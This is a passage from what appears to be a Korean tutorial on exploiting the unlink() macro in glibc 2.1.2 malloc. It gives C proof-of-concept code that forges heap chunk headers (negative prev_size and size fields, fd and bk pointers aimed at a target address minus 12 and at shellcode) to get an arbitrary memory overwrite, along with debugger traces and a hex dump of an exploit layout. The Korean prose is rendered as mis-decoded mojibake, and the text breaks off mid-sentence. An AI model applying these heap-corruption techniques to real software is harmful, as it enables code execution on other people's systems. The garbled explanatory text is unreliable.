glibc-2.1.2/malloc/malloc.c src code ¿¬±¸ ºÐ¼® -- P.S: Phrack 57-9È£¿¡¼­´Â exploit½Ã, ¼¼ºÎÀûÀÎ °Í¿¡ ´ëÇØ °ÆÁ¤ÇÏÁö ¸»¶ó°í ¸í½ÃµÇ¾î ÀÖÁÒ? ÀÌ ¹®¼­¿¡¼­´Â ±âÁ¸¿¡ ±×·¯ÇÑ °³³äÀ» ¿ÏÀüÈ÷ ¹«½ÃÇϰí ÀÖ½À´Ï´Ù. -_-; °á·ÐÀûÀ¸·Î ±âÁ¸¿¡ ³íÀǵǰí ÀÖ´Â heap free/malloc exploit method°¡ ÇϳªÀÇ ±â¹ýÀ¸·Î ÀÚ¸®Àâ±â À§Çؼ­ÀÎÁö´Â ¸ô¶óµµ Á¤ÇüÈ­µÈ ¹æ¹ý(±×°Íµµ ÀϺÎ)À» ÁÖ ¿¹Á¦·Î ÇÏ¿© exploit Áõ¸í¿¡ »ç¿ëÇϰí ÀÖ½À´Ï´Ù. ÀÌ·¯ÇÑ ¹æ½ÄÀÇ ¹®¼­µéÀÌ Á¡Â÷ ´Ã¾î³ª¸é¼­, ´Ù¾çÇÑ free/malloc exploit ¹æ¹ý¿¡ °üÇØ ³íÀǵÇÁö ¸øÇÏ´Â °Í °°¾Æ, °¡²û ¼ÓÀ¸·Ð ¼­¿îÇÑ ¸¶À½ÀÌ µé±âµµ ÇÕ´Ï´Ù. --; ±âÁ¸¿¡ ³íÀǵǾú´ø °ø°Ý¹æ¹ýÀÌ Á¤ÇüÈ­ µÇ±â±îÁö, ¾î¶°ÇÑ °úÁ¤¿¡¼­ ±×·± method°¡ »ý±ä °ÍÀÎÁö À̹ø ±âȸ¿¡ È®½ÇÈ÷ Áý°í ³Ñ¾î°¡½Ã±æ ¹Ù¶ø´Ï´Ù. :-} -- free() ÇÔ¼ö·Î ÇÒ´çµÈ ¸Þ¸ð¸®¸¦ ÇØÁ¦ÇÏ´Â °æ¿ì, (void)fREe() ÇÔ¼ö ¼öÇà ÈÄ, chunk_free(); ÇÔ¼ö ¼ø¼­´ë·Î È£ÃâÇÑ´Ù. chunk_free() ÇÔ¼ö¿¡¼­ È£ÃâµÇ´Â unlink (¸Þ¸ð¸® º´ÇÕ ¸ÅÅ©·Î ÇÔ¼ö)ÀÇ È£Ãâ Ƚ¼ö´Â ÃÑ 3ȸÀÌ´Ù. ¿ì¼±, malloc_chunk ±¸Á¶Ã¼¸¦ È®ÀÎÇÏÀÚ. ========================================================================================= struct malloc_chunk { size_t prev_size; size_t size; struct malloc_chunk *fd; struct malloc_chunk *bk; }; ========================================================================================= ¸ÕÀú, unlink ¸ÅÅ©·Î ÇÔ¼öÀÇ ¿ªÇÒ¿¡ ´ëÇØ ¾Ë¾Æº¸µµ·Ï ÇϰڴÙ. ========================================================================================= ... #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } ... ========================================================================================= unlink ¸ÅÅ©·Î ÇÔ¼ö´Â ÀÌÀü chunk ¶Ç´Â, ´ÙÀ½ chunk¿ÍÀÇ º´ÇÕÀ» ÀÌ·ç¾îÁÖ´Â ¿ªÇÒÀ» ÇÑ´Ù. ¸ÕÀú, fd, bk °ª Á¶ÀÛ ½Ã, retloc address¿Í shell address °ªÀÌ µé¾î°¡´Âµ¥ ´ÙÀ½°ú °°ÀÌ ¼ø¼­¸¦ º¯°æÇÏ¿© ´ëÀÔÇØµµ »ó°ü¾ø´Ù. ¸¸¾à, fd¿¡ shellcode ÁÖ¼Ò ³Ö°í, bk¿¡ µ¤¾î¾º¿ï ÁÖ¼Ò - 8 ÇßÀ» °æ¿ì, ========================================================================================= P: 0x80497c8 (chunk °ª) BK: 0x80481e0 FD: 0x4000a610 P->bk:0x8049505 (chunk->bk °ª) BK: 0x80481e0 after BK: 0x8049505 (bk - 8ÇØÁØ °ª) P->fd: 0xbffffb98 (chunk->fd °ª) FD: 0x4000a610 after FD: 0xbffffb98 (fd °ª) ## ¿©±â¼­ ºÎÅÍ º»°ÝÀûÀÎ overwrite ºÎºÐ: ## bk´Â À§Ä¡ÀûÀ¸·Î +12¿¡ Á¸ÀçÇϰí fd´Â +8¿¡ Á¸ÀçÇÑ´Ù. (À§ÀÇ malloc_chunk ±¸Á¶Ã¼ ÂüÁ¶) FD->bk: 0x90909090 (+12ÀÇ À§Ä¡¿¡ chunk->bk °ªÀÌ µ¤¾î¾²ÀÓ) after FD->bk: 0x8049505 (chunk->bk °ª) BK->fd: 0xb04006d1 (+8ÀÇ À§Ä¡¿¡ chunk->fd °ªÀÌ µ¤¾î¾²ÀÓ) after BK->fd: 0xbffffb98 (chunk->fd °ª) Segmentation fault (°á°ú) ========================================================================================= P°¡ next chunk ÀÏ °æ¿ì. ¸ÕÀú, next->bk´Â ¹é¿öµå Æ÷ÀÎÅÍÀε¥, BK¿¡ ´ëÀԵȴÙ. (BK = P->bk); ±× ´ÙÀ½, next->fd´Â Æ÷¿öµå Æ÷ÀÎÅÍÀε¥, FD¿¡ ´ëÀԵȴÙ. (FD = P->fd); °á·ÐÀûÀ¸·Î, FD->bk (½©ÄÚµå ÁÖ¼Ò + 12)¿¡ µ¤¾î¾º¿î ÁÖ¼Ò°¡ º¹»çµÊ. BK->fd (µ¤¾î¾º¿ï ÁÖ¼Ò + 8)¿¡ ½©ÄÚµå ÁÖ¼Ò°¡ º¹»çµÊ. ¸¸¾à, fd¿¡ µ¤¾î¾º¿ï ÁÖ¼Ò - 12 ³Ö°í, bk¿¡ ½©ÄÚµå ÁÖ¼Ò ³Ö¾úÀ» ÀϹÝÀûÀÎ °æ¿ì, ========================================================================================= P: 0x80497c8 (chunk °ª) BK: 0x80481e0 FD: 0x4000a610 P->bk: 0xbffffb98 (chunk->bk °ª) BK: 0x80481e0 after BK: 0xbffffb98 (bk °ª) P->fd: 0x80494f8 (chunk->fd °ª) FD: 0x4000a610 after FD: 0x80494f8 (fd - 12ÇØÁØ °ª) ## ¿©±â¼­ ºÎÅÍ º»°ÝÀûÀÎ overwrite ºÎºÐ: ## bk´Â À§Ä¡ÀûÀ¸·Î +12¿¡ Á¸ÀçÇϰí fd´Â +8¿¡ Á¸ÀçÇÑ´Ù. (À§ÀÇ malloc_chunk ±¸Á¶Ã¼ ÂüÁ¶) FD->bk: 0x8048346 (+12ÀÇ À§Ä¡¿¡ chunk->bk °ªÀÌ µ¤¾î¾²ÀÓ) after FD->bk: 0xbffffb98 (chunk->bk °ª) BK->fd:0x90909090 (+8ÀÇ À§Ä¡¿¡ chunk->fd °ªÀÌ µ¤¾î¾²ÀÓ) after BK->fd:0x80494f8 (chunk->fd °ª) Segmentation fault (°á°ú) ========================================================================================= P°¡ next chunk ÀÏ °æ¿ì, ¸ÕÀú, next->bk´Â ¹é¿öµå Æ÷ÀÎÅÍÀε¥, BK¿¡ ´ëÀԵȴÙ. (BK = P->bk); ±× ´ÙÀ½, next->fd Æ÷¿öµå Æ÷ÀÎÅÍ´Â FD¿¡ ´ëÀԵȴÙ. (FD = P->fd); °á·ÐÀûÀ¸·Î, FD->bk (µ¤¾î¾º¿ï ÁÖ¼Ò + 12)¿¡ ½©ÄÚµå ÁÖ¼Ò°¡ µé¾î°¨. BK->fd (½©ÄÚµå ÁÖ¼Ò + 8)¿¡ µ¤¾î¾º¿î ÁÖ¼Ò°¡ µé¾î°¨. °á±¹, ¿øÇÏ´Â À§Ä¡¿¡ °ø°ÝÀÚÀÇ address¸¦ ³Ö°í unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ºÎ¸£¸é ¸ñÀûÀÌ ´Þ¼ºµÈ´Ù. À§¿Í °°Àº º´ÇÕ ¹æ½ÄÀ» °®±â±îÁö, °ø°ÝÀÚ°¡ ¿øÇÏ´Â °ªÀÌ Àß ´õÇØÁö·Á¸é, unlink() ÇÔ¼ö¸¦ È£ÃâÇϱâ À§ÇÑ Á¶°ÇÀ» °®Ãß¾î¾ß ÇÑ´Ù. ù¹øÂ°·Î µîÀåÇÏ´Â unlink ÇÔ¼ö´Â °ø°ÝÀÚ°¡ ¿øÇÏ´Â Á¶ÀÛÀÌ °¡´ÉÇÏÁö ¾Ê´Ù. ========================================================================================= ... if (next == top(ar_ptr)) /* merge with top */ { sz += nextsz; if (!(hd & PREV_INUSE)) /* consolidate backward */ { prevsz = p->prev_size; p = chunk_at_offset(p, -prevsz); sz += prevsz; unlink(p, bck, fwd); // ù¹øÂ° unlink } ... ========================================================================================= µÎ¹øÂ° È£ÃâµÇ´Â unlink() ¸ÅÅ©·Î ÇÔ¼ö´Â prev_size °ª°ú ±íÀº °ü°è°¡ ÀÖ´Ù. µÎ¹øÂ° unlink() ¸ÅÅ©·Î¸¦ »ç¿ëÇϸé, exploitÀÌ °¡´ÉÇϹǷÎ, Á» ´õ ÀÚ¼¼È÷ »ìÆìº¸µµ·Ï ÇϰڴÙ. ========================================================================================= ... if (!(hd & PREV_INUSE)) /* consolidate backward */ { // // ¸ÕÀú hd & 0x1 ¹®¹ýÀº °á°ú°¡ 0À̾î¾ß ÇÑ´Ù. (or, NULL) // ±× ÈÄ, if¹® ¾ÈÀÇ ¹®¹ýÀÌ ½ÇÇàµÈ´Ù. // prevsz = p->prev_size; // // prevsz´Â chunkÀÇ prev_size °ªÀ» °¡Áø´Ù. // p = chunk_at_offset(p, -prevsz); // // p = (struct malloc_chunk *)((char *)p - p->prev_size); // Àß »ìÆìº¸¸é, ÇöÀç p¿¡¼­ chunk prev_size¸¸Å­À» ÀÌÀüÀ¸·Î À̵¿ÇÑ´Ù. // °á±¹¿¡´Â p->prev_size¸¦ »« chunk pointer À§Ä¡·Î À̵¿. // sz += prevsz; // // p->fd´Â last_remainder() ÇÔ¼öÀÇ °á°ú°ª°ú ´Þ¶ó¾ß ÇÑ´Ù. // °á·ÐÀûÀ¸·Î unlink() ¸ÅÅ©·Î°¡ ¼öÇàµÈ´Ù. // if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else { unlink(p, bck, fwd); // µÎ¹øÂ° unlink ¸ÅÅ©·Î } } ... ========================================================================================= ÀÌ·± °æ¿ì´Â ¾î¶² ¹æ½Ä¿¡¼­ ¹ß»ýÇÏ´Â Áö »ìÆìº¸°í, ½ÃÇèÇØº¸µµ·Ï ÇÏÀÚ. ¸ÕÀú, hd °ª Áï, ÇöÀç chunkÀÇ size °ªÀÌ & 0x1 ´ëÀԽİú ¸¸³µÀ»¶§, Á¶°Ç¹®ÀÇ °á°ú´Â °ÅÁþÀÌ µÇ¾ß ÇÑ´Ù. (±×·¡¾ß if(!(p->size & 0x1))À» °ÅÃÄ µÎ¹øÂ° unlink()¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Ù.) p->size °ªÀ» 20À¸·Î ¼³Á¤ÇØÁÖ¸é, µÎ¹øÂ° unlink¸¦ À§ÇÑ if ¹®¹ý¿¡ ÁøÀÔÇÒ ¼ö ÀÖ´Ù. ´ÙÀ½ ½ÃÇè ¿¹Á¦ Äڵ带 º¸¸é, ========================================================================================= int main() { char *m=(char *)malloc(16); char *p=(char *)malloc(16); int i=0; // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // ÀÌ ºÎºÐºÎÅÍ µÎ¹øÂ° chunk °ü¸® Á¤º¸. *(long*)&m[i]=0;i+=4; // prev_size *(long*)&m[i]=20;i+=4; // size // ÀÌ ºÎºÐºÎÅÍ chunk data ½ÃÀÛ. *(long*)&m[i]=0x08049603-12;i+=4; // fd *(long*)&m[i]=0xc8c8c8c8;i+=4; // bk free(p); // free¸¦ ÇàÇÏ´Â p pointer´Â chunk size ´ÙÀ½ ºÎºÐÀÎ // 0x08049603-12ºÎÅÍ ½ÃÀÛÇÑ´Ù. } ========================================================================================= Àß »ìÆìº¸¸é, p->prev_size´Â 0À̰í p->size´Â 20ÀÎ °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. p->fd´Â 0x08049603-12 °ªÀ̰í, p->bk´Â 0xc8c8c8c8 °ªÀÌ´Ù. ÀÚ, ±×·³ À§ °ªÀ» ´ëÀÔÇØ¼­ src code ¼öÇà °úÁ¤À» »ìÆìº¸ÀÚ. ========================================================================================= ... if (!(20 & 0x1)) /* consolidate backward */ // // if ¹®¹ýÀ¸·Î ÁøÀÔ ¼º°ø. // { prevsz = p->prev_size; // °ªÀº 0ÀÌ´Ù. p = chunk_at_offset(p, -prevsz); // // p = (struct malloc_chunk *)((char *)p - p->prev_size); // pÀÇ °ª¿¡¼­ 0À» »©¸é, °ªÀ» ±×´ë·Î À¯ÁöÇÑ´Ù. // sz += prevsz; // // ¼öÇà °á°ú p->fd´Â 0x80495f7 (0x08049603-12)À̰í last_remainder() ÇÔ¼öÀÇ // return °ª°ú´Â ´Ù¸£°Ô ³ª¿Â´Ù. // °á±¹, µÎ¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö°¡ ¼öÇàµÈ´Ù. // if (p->fd == last_remainder(ar_ptr)) /* keep as last_remainder */ islr = 1; else { // // p´Â, (p - p->prev_size) °ø½ÄÀ» °¡Áö°í ÀÖ´Ù. // unlink(p, bck, fwd); // µÎ¹øÂ° unlink ¸ÅÅ©·Î } } ... ========================================================================================= À§ÀÇ code´Â NULL '\0' ÀÔ·ÂÀ» Çã¿ëÇÏ¿´À¸¹Ç·Î, °¡´ÉÇÑ ¿¹Á¦ÀÌÁö¸¸, ½ÇÁ¦ exploit½Ã¿¡´Â »ç¿ëÀÌ °ÅÀÇ ºÒ°¡´ÉÇÏ´Ù. ±×·¡¼­ p->prev_size¸¦ À½¼ö·Î ³Ö´Â ¹æ¹ýÀ» ÀÌ¿ëÇÑ´Ù. ¿¹¸¦ µé¸é, À½¼ö -1(0xffffffff)À» ÀÔ·ÂÇÏ¿´À» ¶§, p-(-1)À̹ǷÎ, p+1ÀÇ °ø½ÄÀÌ µÇ°í, p->fd¿Í p->bkÀÇ align °ªÀ» 1byte¾¿ ¹Ð¾îÁ־ Á¤È®ÇÑ address¿¡ º´ÇÕÀ» ¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ±×·¡¼­ code¸¦ ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù. hd(ÇöÀç chunk size)ÀÇ °ªÀº À½¼ö·Î ¼³Á¤Çصµ »ó°ü¾øÀÌ Àß ¼öÇàµÈ´Ù. (ÇÏÀ§ ºñÆ®´Â Ç×»ó 0À̾î¾ß ÇÏ´Â °ÍÀ» ¸í½ÉÇ϶ó) if ¹®¹ýÀ¸·Î ÁøÀÔÀÌ ¼º°øÇÏ¿´À» ¶§, °ø°ÝÀÚ´Â ¿øÇÏ´Â ÁÖ¼Ò°ªÀ» µ¤¾î¾µ ¼ö ÀÖ°Ô µÈ´Ù. ========================================================================================= ... // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // ÀÌ ºÎºÐºÎÅÍ µÎ¹øÂ° chunk °ü¸® Á¤º¸. *(long*)&m[i]=0xffffffff;i+=4; // prev_size: -1 *(long*)&m[i]=0xfffffff0;i+=4; // size: ÃÖÇÏÀ§ ºñÆ®°¡ 0À¸·Î ¸ÂÃçÁ®¾ß ÇÔ. // ÀÌ ºÎºÐºÎÅÍ chunk data ½ÃÀÛ. m[i++]=0x82; // alignÀ» ¸ÂÃß±â À§ÇØ 1byte¸¦ »ç¿ëÇÔ. *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; ... ========================================================================================= ÀÚ, Àß »ìÆìº¸¸é, hdÀÇ °ªÀº -16À̸ç, ÇÏÀ§ ºñÆ®´Â 0ÀÌ´Ù. ±×·¡¼­ if ¹®¹ýÀ¸·Î ÁøÀÔÇÒ ¼ö ÀÖ´Ù. ±× ´ÙÀ½ prev_size °ª 0xffffffff(-1)ÀÌ´Ù. °á°úÀûÀ¸·Î, p-(-1) ¹®¹ýÀ» ¼öÇàÇϴµ¥ p pointer¿¡ +1À» ´õÇÏ´Â °á°ú°¡ µÈ´Ù. 0x82 °ª, ÃÑ 1byte¸¦ dummy·Î ³Ö¾îÁÖ¾ú±â ¶§¹®¿¡ °á±¹, p+1->fd¿Í p+1->bk´Â Á¤»óÀûÀ¸·Î º´ÇÕµÉ ¼ö ÀÖ´Ù. ¹¹... 0xffffffff ´ë½Å¿¡ 0xfffffffc (-4) °ªÀ» ³Ö¾îÁ־ »ó°ü¾ø´Ù. ±×·³, À̹ø¿£ ÀÌ·¸°Ô ¼öÁ¤Çغ¸µµ·Ï ÇÏÀÚ. ========================================================================================= ... // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // ÀÌ ºÎºÐºÎÅÍ µÎ¹øÂ° chunk °ü¸® Á¤º¸. *(long*)&m[i]=0xfffffffc;i+=4; // prev_size: -4 *(long*)&m[i]=0xfffffff0;i+=4; // size: ÃÖÇÏÀ§ ºñÆ®°¡ 0À¸·Î ¸ÂÃçÁ®¾ß ÇÔ. // ÀÌ ºÎºÐºÎÅÍ chunk data ½ÃÀÛ. *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; ... ========================================================================================= p-(-4)ÀÇ °á°ú, p+4->fd¿Í p+4->bk À§Ä¡¸¦ ¸¸Á·ÇÒ ¼ö ÀÖµµ·Ï Á¶°ÇÀ» ¸¸µé¾îÁà¾ß Çϱ⠶§¹®¿¡, 0x82828282 °ª, ÃÑ 4byte dummy¸¦ ´õÇØÁÖ¾ú´Ù. °á·ÐÀûÀ¸·Î, prev_size °ª¿¡ µû¶ó ¾ÈÀüÇÑ unlink() ¸ÅÅ©·Î ÇÔ¼ö º´ÇÕ ¼öÇàÀ» À§ÇØ chunk ³»¿ë ¾È¿¡ dummy °ªÀÌ ±¸¼ºµÉ ¼ö ÀÖ´Ù. ¸¸¾à, prev_size °ªÀÌ -8ÀÏ °æ¿ì¿¡´Â 8byte°¡ dummy °ªÀ¸·Î µé¾î°¡¾ß ÇÒ °ÍÀÌ´Ù. ========================================================================================= ... // 16byte *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; *(long*)&m[i]=0x82828282;i+=4; // ÀÌ ºÎºÐºÎÅÍ µÎ¹øÂ° chunk °ü¸® Á¤º¸. *(long*)&m[i]=0xfffffff8;i+=4; // prev_size: -8 *(long*)&m[i]=0xfffffff0;i+=4; // size: ÃÖÇÏÀ§ ºñÆ®°¡ 0À¸·Î ¸ÂÃçÁ®¾ß ÇÔ. // ÀÌ ºÎºÐºÎÅÍ chunk data ½ÃÀÛ. *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; ... ========================================================================================= ÀÌÇØµÆÀ» °ÍÀ¸·Î ¹Ï´Â´Ù. :-) (exploit ½Ã, ¹Ýµå½Ã ÀÌÇØÇØ¾ß ÇÏ´Â ³»¿ëÀ̹ǷÎ, ¼÷ÁöÇϱ⠹ٶõ´Ù) Âü°í·Î µÎ¹øÂ° ÇÒ´çÇÑ chunk pointer´Â size ´ÙÀ½ºÎÅÍ ½ÃÀ۵ȴٰí ÀÌ¹Ì ¼³¸íÇß´Ù. /// chunk ptr ½ÃÀÛ /// *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x82828282;i+=4; /* dummy */ *(long*)&m[i]=0x08049603-12;i+=4; *(long*)&m[i]=0xc8c8c8c8;i+=4; /// ³¡ /// µÎ¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ exploit¿¡ »ç¿ëÇÏ´Â °æ¿ì´Â ´ëºÎºÐ Á÷Á¢ÀûÀ¸·Î Á¶ÀÛµÈ target chunk°¡ free µÉ¶§ ¹ß»ýÇÑ´Ù. (ÀÌÀü chunk¿Í º´ÇÕ ½Ã) ([ÁÖÀÇ]: À̰ÍÀº Àý´ë È¥µ¿ÇÏ¸é ¾ÈµÈ´Ù. ¼¼¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ¼öÇàÇÏ´Â °Í°ú´Â ¾ö¿¬È÷ ´Ù¸¥ ¹æ½ÄÀÌ´Ù. À̰ÍÀº ³ªÁß¿¡ ¶Ç ¼³¸íÇÒ °ÍÀÌ´Ù) Áï, ========================================================================================= int main(int argc,char *argv[]) { char *m=(char *)malloc(16); char *p=(char *)malloc(16); strcpy(m,argv[1]); free(p); } ========================================================================================= ÀÌ¿Í °°Àº ½ÄÀε¥, mÀ» overflow ½ÃÄѼ­ chunk p¸¦ Á¶ÀÛÇÏ´Â ¹æ¹ý, ¶Ç´Â, pÀÇ chunk °ü¸® Á¤º¸¸¸ ¼öÁ¤ÇÒ ¼ö ÀÖ´Ù¸é, free(p); ¹®¹ý ½ÇÇà¿¡ ÀÇÇØ °ø°ÝÀÚ´Â µÎ¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ È£Ãâ½Ãų ¼ö ÀÖ´Â °ÍÀÌ´Ù. À̹ø¿£ 3¹øÂ° unlink ¸ÅÅ©·Î¿¡ ÀÇÇØ exploitÇÏ´Â °æ¿ì¸¦ ºÐ¼®ÇØ º¸µµ·Ï ÇϰڴÙ. º»·¡, À§ÀÇ src code, free(p); ¹®¹ýÀ» free(m); ¹®¹ýÀ¸·Î ¼öÁ¤ÇÏ¿© freeÇϸé, Á¶ÀÛµÈ p chunk Á¤º¸¸¦ ÂüÁ¶ÇÏ¿© º´ÇÕÀÌ ÀÌ·ç¾îÁö´Âµ¥, À̰ÍÀÌ ¹Ù·Î 3¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀÌ´Ù. µÎ¹øÂ° if ¹®¹ýÀ» ¹«½Ã Åë°úÇϸé, µåµð¾î ¼¼¹øÂ° unlink¸¦ ¸¸³¯ ¼ö ÀÖ´Â if¹®¿¡ µµ´ÞÇÏ°Ô µÈ´Ù. ========================================================================================= ... if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ // // if(!(((struct malloc_chunk *)((char *)next+nextsz))->size & PREV_INUSE)) // { sz += nextsz; if (!islr && next->fd == last_remainder(ar_ptr)) /* re-insert last_remainder */ { islr = 1; link_last_remainder(ar_ptr, p); } else{ unlink(next, bck, fwd); // ¸¶Áö¸·, ¼¼¹øÂ° unlink º´ÇÕ ºÎºÐ. } ... ========================================================================================= ÀÚ, ¸ÕÀú next¿Í nextsz¸¦ ¾Ë±â À§ÇØ src code¿¡¼­ ó¸® ¹®¹ýÀ» ÀϺΠ»ìÆìºÁ¾ß ÇÑ´Ù. ´ë°­Àº ÀÌ·¸´Ù. ========================================================================================= ... sz = hd & ~PREV_INUSE; // hd´Â p->size(Çö chunk size)Àε¥ & ~0x1ÇÏ¿©, sz °ª¿¡ ÀúÀåÇÑ´Ù. next = chunk_at_offset(p, sz); // // next = (struct malloc_chunk *)((char *)p + sz); // °á±¹, next´Â p + (p->size & ~0x1) ÈÄ¿¡ À§Ä¡ÇÏ´Â °÷À» pointer ÇÑ´Ù. // nextsz = chunksize(next); // // nextsz = next->size & ~(PREV_INUSE | IS_MMAPPED); // nextsz´Â ´ÙÀ½ chunkÀÇ sizeÀÎ, "next->size & ~(0x1|0x2)"ÇÑ °ªÀ» °®°ÔµÈ´Ù. // ... ========================================================================================= next´Â ºÐ¸í ´ÙÀ½ chunk¸¦ °¡¸®Å°°í ÀÖ´Ù. nextsz´Â next->sizeÀ̹ǷÎ, ´ÙÀ½ chunk °ü¸® Á¤º¸·Î ÀúÀåµÈ ¼³Á¤ °ªÀ» ÀúÀåÇÑ´Ù. ¸¸¾à °ø°ÝÀÚ°¡ ´ÙÀ½ chunkÀÇ ³»¿ëÀ» Á¶ÀÛÇÒ ¼ö ÀÖ´Ù¸é, nextsz¸¦ Á¶ÀÛÇÒ ¼ö ÀÖÀ¸¸ç, nextsz¸¦ Á¶ÀÛÇÒ ¼ö ÀÖ´Ù´Â À̾߱â´Â À§¿¡¼­ ºÐ¼®ÇÑ ¼¼¹øÂ° unlink¸¦ ¸¸³¯ ¼ö ÀÖ´Ù´Â À̾߱Ⱑ µÈ´Ù. Àß »ìÆìº¸¸é, ... if (!(inuse_bit_at_offset(next, nextsz))) /* consolidate forward */ // // if(!(((struct malloc_chunk *)((char *)next+nextsz))->size & PREV_INUSE)) // ÀÌ ºÎºÐÀº ((next+nextsz)->size & 0x1) °ªÀ» ºñ±³ÇÏ¿´À» ¶§, °á°ú °ªÀÌ °ÅÁþÀÎ °ÍÀ» ã´Â´Ù. char *m=(char *)malloc(16); char *p=(char *)malloc(20); char *z=(char *)malloc(90); ¸¸¾à ù¹øÂ° chunk ptr º¯¼ö mÀ» µûÁø´Ù¸é, next=m+(m->size&~0x1); À̰í, next->size&~(0x1|0x2) ºÎºÐ, Áï, nextsz °ªÀº µÎ¹øÂ° chunk ptrº¯¼ö pÀÇ size&~(0x1|0x2)ÀÏ °ÍÀÌ´Ù. ±×·±µ¥ ¿©±â¼­ (next+nextsz)->size °ªÀ» ó¸®ÇϹǷÎ, ´ÙÀ½ chunkÀÇ size°¡ ¾Æ´Ñ, ¶Ç, ±× ´ÙÀ½ chunk size¸¦ ¾ò°Ô µÈ´Ù. Áï, ¼¼¹øÂ° chunk °ü¸® Á¤º¸ (size)¸¦ ¾ò´Â °ÍÀÌ´Ù. ¿¹¸¦ µé¸é, ù¹øÂ° chunk_free() ÀÎÀÚ(argument), pÀÇ À§Ä¡°¡ 0x80499f8 À϶§, +24 (sz)¸¦ ´õÇÏ¿© nextÀÇ À§Ä¡ 0x8049a10¸¦ ±¸ÇÑ´Ù. ±× ÈÄ, +24(nextsz) ¿ª½Ã nextÀÇ À§Ä¡¿¡ ´õÇØÁø´Ù. ±×·¯¸é, nextÀÇ ÃÑ À§Ä¡´Â 0x8049a28 ÁÖ¼Ò°ªÀÌ ³ª¿Â´Ù. 0x08049a28Àº next->prev_size À̹ǷÎ, next->sizeÀÇ ÁÖ¼Ò´Â 0x08049a2c ÁÖ¼Ò°ªÀÏ °ÍÀÌ´Ù. °á·ÐÀûÀ¸·Î 0x08049a2c ÁÖ¼Ò¿¡ ÀÖ´Â °ªÀº ¼¼¹øÂ° chunk °ü¸® Á¤º¸ÀÇ sizeÀÎ, 0x61(97)ÀÌ´Ù. ÀÌÁ¦ ¹æ½ÄÀ» ¾Ë¾ÒÀ¸´Ï, exploitÀ» ÇØº¸µµ·Ï ÇÏÀÚ. ¸¸¾à next°¡ 0x8049a18¶ó¸é, nextsz °ªÀ» À½¼ö(-4)·Î ³Ö¾úÀ» °æ¿ì, prev_size´Â 0x8049a14°¡ µÇ¸ç, size´Â 0x8049a18ÀÌ µÈ´Ù. ´ÙÀ½ ¿¹Á¦´Â exploit ±¸Á¶¸¦ ³ªÅ¸³» º» °ÍÀÌ´Ù. ========================================================================================= 0x08049a08 82 82 82 82 82 82 82 82 82 82 82 82 41 41 41 41 ............AAAA 0x08049a18 fc ff ff ff f8 ff ff ff cc 97 04 08 98 fb ff bf ................ ========================================================================================= ¿©±â¼­, À½¼ö °ªÀ» -8(0xfffffff8)·Î ³Ö¾ú´Ù. ±×·¸°Ô µÇ¸é, 0x08049a10Àº prev_sizeÀÇ À§Ä¡À̸ç, size´Â 0x08049a14°¡ µÈ´Ù. ±×·±µ¥ size(0x41414141)ÀÇ ÇÏÀ§ ºñÆ®°¡ 0ÀÌ ¾Æ´Ï¹Ç·Î, "if(!(((struct malloc_chunk *)((char *)next+nextsz))->size & PREV_INUSE))" Á¶°Ç¹®À» ¼öÇà½Ã, °ÅÁþÀÌ µÈ´Ù. °á±¹, if ¹®¹ý¾ÈÀÇ ³»¿ëÀº ÁøÇàµÇÁö ¾Ê´Â´Ù. À§ÀÇ Á¶°Ç¹® ¼öÇàÀ» ¼º°øÇØ¾ß 3¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ºÎ¸¦ ¼ö ÀÖÀ¸¹Ç·Î, size °ªÀ» 0x41414142 °ªÀ¸·Î ¼öÁ¤ÇÏÀÚ. ÀÌ·¸°Ô Çϸé, ÇÏÀ§ºñÆ®´Â 0À¸·Î ¸ÂÃß¾îÁø´Ù. °á±¹, if ¹®¹ý¾ÈÀÇ ³»¿ëÀº ¼º°øÀûÀ¸·Î ÁøÇàµÈ´Ù. :-D ¿©ÀüÈ÷ next pointer´Â 0x8049a18À̹ǷÎ, prev_size °ªÀ» Áö³ª, size °ªÀ» Áö³ª¸é, (ÃÑ 8byte µÚ) 0x8049a20ºÎÅÍ next->fd°¡ À§Ä¡ÇÏ°Ô µÇ°í, 0x8049a24¿¡ next->bk°¡ À§Ä¡ÇÑ´Ù. ÀÌÁ¦ ¼º°øÀûÀ¸·Î 3¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ¼öÇàÇÒ ¼ö ÀÖ°Ô µÈ´Ù. :-} *************************************************************************************************** ÀÚ, °á·ÐÀ» ÁþÀÚ¸é, 2¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ 